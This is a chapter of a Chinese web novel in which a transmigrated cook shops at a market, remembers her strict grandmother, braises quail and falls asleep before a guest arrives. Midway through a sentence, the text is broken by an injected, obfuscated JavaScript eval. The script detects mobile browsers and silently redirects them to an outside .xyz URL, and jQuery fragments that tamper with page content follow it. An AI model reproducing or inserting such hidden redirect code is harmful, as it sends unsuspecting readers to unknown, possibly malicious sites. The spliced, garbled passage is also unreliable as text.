想再多,看到价钱的那刻,禾穗瞬间冷静下来。
要了些平日惯用的佐料,另包了点桂皮香叶八角。含泪越过一两就要半贯钱的花椒,平替花椒叶也要三十文一两,比一斤猪肉还贵,着实不能放在考虑范围。
拎着包好的料出门,禾穗重整旗鼓。
本地养鹌鹑的多,价格差不了多少,但大都散养,不保量也不保质。
跑了几家,冯婶开口,“赶集的时候好些住得远的农户也会来,倒时候再瞧瞧?”
禾穗松了松胳膊:“行,已经收获良多了。”
鹌鹑没瞧见合适的,鹌鹑蛋倒收了不少。这东西量少难卖,又鲜少有人专门买来吃,趁着问鹌鹑的功夫便收了一路。在最后一家格外付了些钱,叫人将鹌鹑子同些米面肉一道送去东边儿的三道弯第十二户的禾家。
不知不觉灿金满落,两人寻了处茶摊歇脚。
“店家两碗茶。”
经营茶摊的是位老妇人,瞧着年纪有些大了,身形佝偻,头发斑白。她起身的功夫一个及她腰高的女孩儿从她身后钻出来,提着茶壶“嗳”了声。
这类茶摊都是卖些粗茶散茶供短暂歇脚的。
小姑娘麻利地添了两碗粗茶,清褐色的茶水带着碎茶叶冲进碗里,满满当当。
“一文一碗,两文管饱,两位娘子还需要便叫我。”她说罢,转身赶在老妇人动身前取了摞碗去下一桌招呼。
忙了一圈回去,小姑娘手里又多了些空碗。她避开老妇人探来的手自顾洗着,皱着小脸似在劝人去一旁坐着歇息。老妇人被孙女“抢了活”无可奈何,又气又好笑。
祖孙俩拌着嘴,忽得又来了客人,娇小身影再度闪了出去。留在原地的老妇人摇头失笑,站在小姑娘洗碗水盆前弯下腰——
暑气渐浓,日光盛盛,水面晃动折射的光模糊了禾穗的眼睛……
她小时候一直跟着外婆生活。外婆厨艺名扬在外收了不少徒弟,即便以严苛著称,也挡不住源源不断拜师的人。
五岁一次好奇,她被外婆拎上小板凳,就此和厨房结缘。别家孩子在外头撒欢时,她在家握刀学着如何正确发力,日复一日练习刀工。放学写完作业后,认食材背食谱、跟着外婆打下手。
是累的,也有哭着说不要学的时候,可外婆就像堵坚实的墙永远不许她后退。
“等我死了财产会全部捐出去,你不用想着以后可以花我的钱。至于那家店也是给我最优秀徒弟留着的!”
“不管你喜不喜欢,我在一天你就得学一天。你要不乐意,就跟你妈一样有本事了自己跑出去,我也不会找你回来……”
禾穗也是后来才知道,母亲小时候也经历过这些。
她受不了外婆的严厉,叛逆的和人私奔,后来有了她。结果在她三岁的时候,母亲撞见父亲出轨。开车追去时出了车祸,两个人都没活下来。
小禾穗不懂谁对谁错,只是倔强地和外婆赌气,“我能学好!不许你说我妈妈坏话!”
那时候她还不懂,外婆的苦心和急切。
她怕她走的太快,她学的太少。她急于教会她一切,想让她靠自己活下去。
“不要像你妈一样,把念头挂在别人身上……那家店以后就是你的了……要是日后经营不善也没关系。不要怪自己,你已经很优秀了……小穗……”
“……比起那家店…你、才是我的传承。”
……
倾覆的阳光耀得人眼睛生疼。
一道身影来来回回撑起青布伞,回身又急匆匆赶去,“——祖母!!您怎么又干活了!”
有茶客打趣,“有这么孝顺的孙女,您老往后可享福喽!”
“是啊是啊,我家那个要是有这么省心我就烧高香了!唉……”
“可不是,家家都有本难念的经。”冯八娘唏嘘,“这祖孙俩也是不易……”
“是啊。”禾穗收回视线,敛下情绪眸光回归平静,“但只要相互扶持,劲往一处使,日子还是好过的。”
“是这么个理!”
两人歇够了,日头上来,禾穗也不打算多逛了。只是遗憾今日没能碰到把和眼缘的刀。
正要向冯婶道谢劳烦多时,她却目光一转,意味深长。
“穗娘啊,你是不是忘了我家做甚的了。”
“你尽管来挑,我们家我做主价钱不成问题。”
冯婶的丈夫是个内敛的铁匠,姓林。两人招呼了一句就没下文了,比起和人交流,说起打造的这些物件林铁匠倒更为自在。
“这边都是,买刀还是匕?这儿的,寻常做饭用绝对够了。”
见禾穗目光一一越过,落在最边儿上的一把刀,林铁匠多看了她一眼。
“这个是包钢的。”他言简意赅,“料也好,贵。”
冯婶暗戳戳掐了自家男人一下,笑问,“穗娘看中这把了?”
这刀宽厚恰好,刃也锋利,做厨刀很合适。她凭空比划了两下,包钢的刀本就重一些,对现在的她来说,不够趁手,而且这种刀还要多加保养,有格外开支。
不过梦想还是要有的。
“像这样的要多少钱?”
“五百文。”
很好,买不起是常态。
禾穗摇头,追加了些诉求,“还有别的吗?好用耐用就行。”
“倒是还有个同一批余下材料打的,不是包钢但也不错,你看看。”林铁匠说罢,另找来一把。
这把刀比方才那把稍小些,刀面略窄几寸,刀刃打得很薄却未变形。一体的刀身刀把,握手处钉了防滑的老木头,禾穗一手握下去尾部还留二三指宽。砍切剁,虽和从前精挑细选跟了她许久的老厨刀比不得,但也还算不错了。
锻造工艺没那么复杂也是好手艺,边角料也不便宜。
“一百五十文。”
碰见把方方面面不错,趁手的刀不容易,长期用下来也是值的。顺着林铁匠报价禾穗咬咬牙也没砍价,直接掏钱,赶在冯婶阻拦前拿了包好的刀就跑。
“谁家都要过日子,冯婶你再拦我可不敢再来了。今日多有叨扰,别忘了晚上来我家吃饭!”
自她穿过来这些天冯婶已经帮她良多了,人情也要有借有还。
-
念着今天买到的东西,禾穗到家短暂歇了会儿就又忙起来。
快至未时,东西都归置的差不多了。
灶房里钻进钻出,禾穗把鹌鹑蛋洗净放进陶罐里,里头盐刨松贴着罐子尽量均匀埋下蛋。顶上再用泡了盐水的粗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467209|185504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
布密封,最后置在小火炉子上,又快步去处理鹌鹑。
昨天两只鹌鹑泡去血水,特地用葱姜去腥之物里外揉搓过,腌制了一晚上已经闻不见什么腥味了。禾穗没着急卤,打算先将鹌鹑炸一遍。
控制好油温,鹌鹑沥干水分下锅,细密油泡噼里啪啦响起来。用竹筴夹起翻面,均匀泼上热油。直到外壳金黄酥脆,用刀轻轻一刮就能听见糖纸样的脆声。
经过高温炸制的鹌鹑外酥里嫩,在卤制过程中整只放入,卤汁也能尽最大可能保存干净,方便以后反复利用,这样一份卤汁会越煮越香醇。
外婆说这个卤煮配比也是她师傅教她的,后来又传到自己这。
好嘛她的百年老卤,今天也一岁了。
将鹌鹑泡进配比好的卤料里,小火慢煮。不消一刻桂皮八角的香味就沿着锅盖缝隙飘出来。禾穗连忙熄了火,鹌鹑炸过切忌煮过头,肉质就柴了。
白雾升腾,酱红色汤汁如瀑尽数转进陶盆里,鹌鹑没在其间用重物下压浸泡更好入味。
得嘞!
这样卤好的鹌鹑入口层次丰富,卤味脆皮被咬开后锁住的汁水在唇舌蔓延,先香后鲜,吃到最后连酥脆的骨头都恨不得嚼了吞。
看着熬煮恰到好处的香浓酱色和色泽漂亮的鹌鹑,满意的弧度自唇边绽开,嗅着香味禾穗觉得心口也跟着漾起暖意……
“……”
等会,夏天暑热,要不还是别暖了。
在锅前站这会的功夫就直冒汗,禾穗两颊蒸得泛红。灶房一侧朝外的窗户撑大了些,好散些风进来。
禾穗强撑着另起锅熬猪油,晚上一道骨汤豆腐丸子、凉拌苋菜、多味油渣饭团、醋溜笋丝、配上卤鹌鹑、鹌鹑子……应当够了。
忙活半晌,菜终于备得差不多了。
攥着早就湿透的帕子往外走,禾穗只觉得浑身骨头都要烤酥了。舀瓢水洗搓帕子,将其湿凉凉的贴在脸上。
夏天在没空调的厨房熬做饭还熬猪油,真是buff叠满了。
“终于活过来了。”
她长吁一口气,瘫坐在荫凉处的靠椅里,整个人放松下来……
日光弹指,树影浮动。
应约而来,任洵眸光越过院门瞧见里头光景。
一室沉寂,鸟雀落在枝头,搅碎斑驳树影。
底下细婉身影歪歪斜斜窝在靠椅里,偏着头,额上盖着张方正的帕子,像是睡着了。鬓发胡乱贴在面上,高高打起的襻膊下露出嫩藕尖一样白的手臂,细看却青青紫紫,还燎着水泡。
禾穗提前留了门,任洵没叫醒她,放轻脚步进来卸下工具。院里多了好些桌椅,略显逼仄。
太阳侵吞阴影,一寸寸晒过来。
余光里,睡得不老实的人一个翻身,寻着凉意往阴影里去。本就不宽敞的椅面再拦不住,眼看就要摔下去。
“哗——”
任洵抬手将附近的木桌搬过去,挡住那侧。
谁想四只桌腿中看不中用,椅上人影正好翻身一撞,木桌若不经风的“嘎吱”完就倒。
电光火石间,任洵匆匆去扶桌腿,矮身时背上一重。
他闷哼一声,倒不是重,是被硌的。
侧首恰好对上一双迷迷瞪瞪睁开的眼。